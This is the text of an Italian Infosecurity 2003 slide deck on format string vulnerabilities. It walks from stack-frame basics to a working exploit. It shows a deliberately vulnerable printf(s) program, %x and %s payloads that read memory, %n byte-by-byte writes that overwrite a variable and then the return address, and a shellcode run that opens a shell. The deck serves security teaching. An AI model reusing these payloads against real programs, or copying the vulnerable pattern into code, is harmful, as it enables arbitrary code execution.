Alberto Ornaghi <[email protected]>
Lorenzo Cavallaro <[email protected]>
Format Bug
Vulnerabilities
Infosecurity 2003
1
Table of contents




Introduzione all’IA-32
Cosa sono i modificatori di formato
Problema
Sfruttare il format bug per leggere e scrivere
zone di memoria arbitrarie
Infosecurity 2003
2
Introduzione
Infosecurity 2003
3
Record di attivazione
Return Address - E’ l’indirizzo a cui
viene ceduto il controllo una volta
terminata l’esecuzione della funzione.
Base Pointer - E’ il contenuto del
registro EBP al momento della chiamata
alla funzione. Rappresenta il puntatore
al record di attivazione precedente che
deve essere ripristinato al termine della
funzione
Infosecurity 2003
high
ret address
base pointer
automatic
variables
...
...
low
4
Calling Convention (1)
int main(int argc, char **argv)
{
int a = 3;
char foo[] = “security”;
stack
high
0xbffff930
3
0x804841d
}
printf(“%d %s\n”, a, foo);
ret address
base pointer
low
Infosecurity 2003
5
Calling Convention (2)


I parametri vengono messi in ordine inverso
sullo stack prima del record di attivazione
Il codice della funzione li recupera come
spiazzamento dal valore del registro EBP
(punta al base pointer)
Infosecurity 2003
6
I modificatori di formato

%d
interpreta come intero

%x
interpreta come valore esadecimale

%s
interpreta come puntatore a stringa

%n scrive nella zona di memoria puntata
dal parametro, il numero di byte scritti fino
a quel momento dalla funzione *printf(3)
Infosecurity 2003
7
Problema
Infosecurity 2003
8
Printf (1)
int foo(int a, int b)
{
…
printf(“%#x %#x\n”);
…
}
sullivan@panoramix:~/format$ ./printf_no_args
0xbffffad8 0xbffffaa0
sullivan@panoramix:~/format$
Infosecurity 2003
stack
high
0xbffffaa0
0xbffffad8
0x8048464
ret address
base pointer
low
9
Printf (2)



Il compilatore non controlla l’effettiva
presenza dei parametri passati alla funzione
La funzione printf(3) cerca di recuperare i
parametri come se questi effettivamente
fossero sullo stack
La stringa di formato potrebbe essere
costruita a runtime
Infosecurity 2003
10
Programma vulnerabile
int main(int argc, char **argv)
{
char foo[100];
...
bar(foo);
…
}
void bar(char *s)
{
scanf(“%100s”, s);
printf(s);
return;
}
sullivan@panoramix:~/format$ ./vuln
Infosecurity 2003
Infosecurity 2003
sullivan@panoramix:~/format$
Infosecurity 2003
11
Ingredienti
Infosecurity 2003
12
Ispezione della memoria (1)
sullivan@panoramix:~/format$ ./vuln
AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.
%x.%x.%x.%x.%x.%x.%x.%x.
AAAA.bffffb14.64.40025438.bffffb7c.400097c0.8048490.1.400135
cc.bffffbe4.bffffb7c.80484bc.bffffb14.0.64.1.0.40027688.401150dd.
40134e48.41414141.2e78252e.252e7825.78252e78.2e78252e.
sullivan@panoramix:~/format/$
Stack da “mangiare”: 20 dword
Infosecurity 2003
13
Ispezione della memoria (2)
int main(void) {
…
char string[] = “find me!”;
…
printf(buf);
}
sullivan@panoramix:~/format$ printf "\x20\xf9\xff\xbf%%x%%x
%%x|%%s|\n" | ./example
ùÿ¿bffff92080400269d4|find me!|
sullivan@panoramix:~/format/$
Infosecurity 2003
14
Individuazione indirizzo del
buffer di formato
printf("\x14\xfb\xff\xbf_BUFFER__________|%%20$s|
\n");
sullivan@panoramix:~/format$ ./addr | ./vuln
ûÿ¿_BUFFER__________|ûÿ¿_BUFFER__________|%20$s|
|
sullivan@panoramix:~/format$
Infosecurity 2003
15
Retloc & retaddr (1)



Buffer
di
formato
utilizzato
come
base
per determinare il return address location e
il return address
Return address location rappressenta l’indirizzo
della zona di memoria che conterrà il return
address
Return address rappresenta l’indirizzo che conterrà
il nostro shellcode
Infosecurity 2003
16
Retloc & retaddr (2)
La “ricerca” di un possibile retloc si traduce, spesso,
nella determinazione di coppie (SFP, RET)
sullivan@panoramix:~/format$ ./vuln
AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.
%x.%x.%x.%x.%x.%x.%x.%x.
AAAA.bffffb14.64.40025438.bffffb7c.400097c0.8048490.1.400135
cc.bffffbe4.bffffb7c.80484bc.bffffb14.0.64.1.0.40027688.401150dd.
40134e48.41414141.2e78252e.252e7825.78252e78.2e78252e.
sullivan@panoramix:~/format/$
Retloc: &buf – 9 dword
Infosecurity 2003
17
Sovrascrittura del RET (1)



Generalmente il nostro shellcode si trova
sullo stack
Non è possibile scrivere indirizzi della
forma
0xbfXXXXXX
utilizzando
il
modificatore di formato %n
Costruzione del retaddr da utilizzare fatta
“byte a byte”
Infosecurity 2003
18
Sovrascrittura del RET (2)
int
main(void)
{
}
int i = 0x12345678;
char buf[128];
…
printf("\nbefore printf, i = %#x\n", i);
printf(buf);
printf("after printf, i = %#x\n", i);
Infosecurity 2003
19
Sovrascrittura del RET (3)
Ipotesi necessarie per la sovrascrittura della variabile i:



La variabile i si trova sullo stack all’indirizzo
0xbffffce8
Il nostro “format” buffer dista 9 dword
dalla funzione vulnerabile (printf)
Variabile i contenente il valore 0x12345678
sovrascritta con il valore 0x87654321
Infosecurity 2003
20
Sovrascrittura del RET (4)
(1)
0x12 0x00 0x00 0x00
0xFF 0xFF
0xFF
0xFF
(2)
0x12 0x34 0x00 0x00
0x00 0xFF
0xFF
0xFF
(3)
0x12 0x34 0x56 0x00
0x00 0x00 0xFF
0xFF
(4)
0x12 0x34 0x56 0x78
0x00 0x00 0x00 0xFF
printf(
"\xe8\xfc\xff\xbf"
"\xe9\xfc\xff\xbf"
"\xea\xfc\xff\xbf"
"\xeb\xfc\xff\xbf"
(1) "%%17u%%9$n" (2) "%%34u%%10$n"
(3) "%%34u%%11$n" (4) "%%34u%%12$n")
Infosecurity 2003
21
Sovrascrittura del RET (5)
sullivan@panoramix:~/format$ ./to_overwrite
Infosecurity 2003 rulez ;)
before printf, i = 0x12345678
Infosecurity 2003 rulez ;)
after printf, i = 0x12345678
sullivan@panoramix:~/format/funzica$ ./overwrite | ./to_overwrite
before printf, i = 0x12345678
èüÿ¿éüÿ¿êüÿ¿ëüÿ¿
305419896
128
3221224568
134513044
after printf, i = 0x87654321
sullivan@panoramix:~/format$
Infosecurity 2003
22
Sfruttiamo le format string
vulnerabilities (1)
Struttura generica del format string buffer:
<retlocs><stack eat><shellcode><write>
• retlocs: indirizzo di memoria che contiene il return
address
• stack eat: sequenza di %x necessarie per arrivare
al nostro buffer
• shellcode: codice che si vuole eseguire
• write: sequenze necessarie per sovrascrivere la
locazione contenente il return address
Infosecurity 2003
23
Sfruttiamo le format string
vulnerabilities (2)
sullivan@panoramix:~/format$ (./fmt ;cat ) | ./vuln
ðúÿ¿ñúÿ¿òúÿ¿óúÿ¿ë[1À<89><88>C<89>C
<8D>
<8D>S
°
Í<80>1Û°Í<80>èßÿÿÿ
/bin/sh 3221224212 100 1073894456 3221224316
id
uid=1004(sullivan) gid=100(users) groups=100(users)
ls
fmt.c fmt vuln.c vuln shellasm.c to_overwrite.c to_overwrite
overwrite.c overwrite
Infosecurity 2003
24
– Lorenzo Cavallaro
– Alberto Ornaghi

<[email protected]>
<[email protected]>
http://alor.antifork.org/speech
Reference:
http://www.team-teso.net/articles/formatstring/
http://www.hert.org/papers/format.html
Infosecurity 2003
25
Scarica

Base Pointer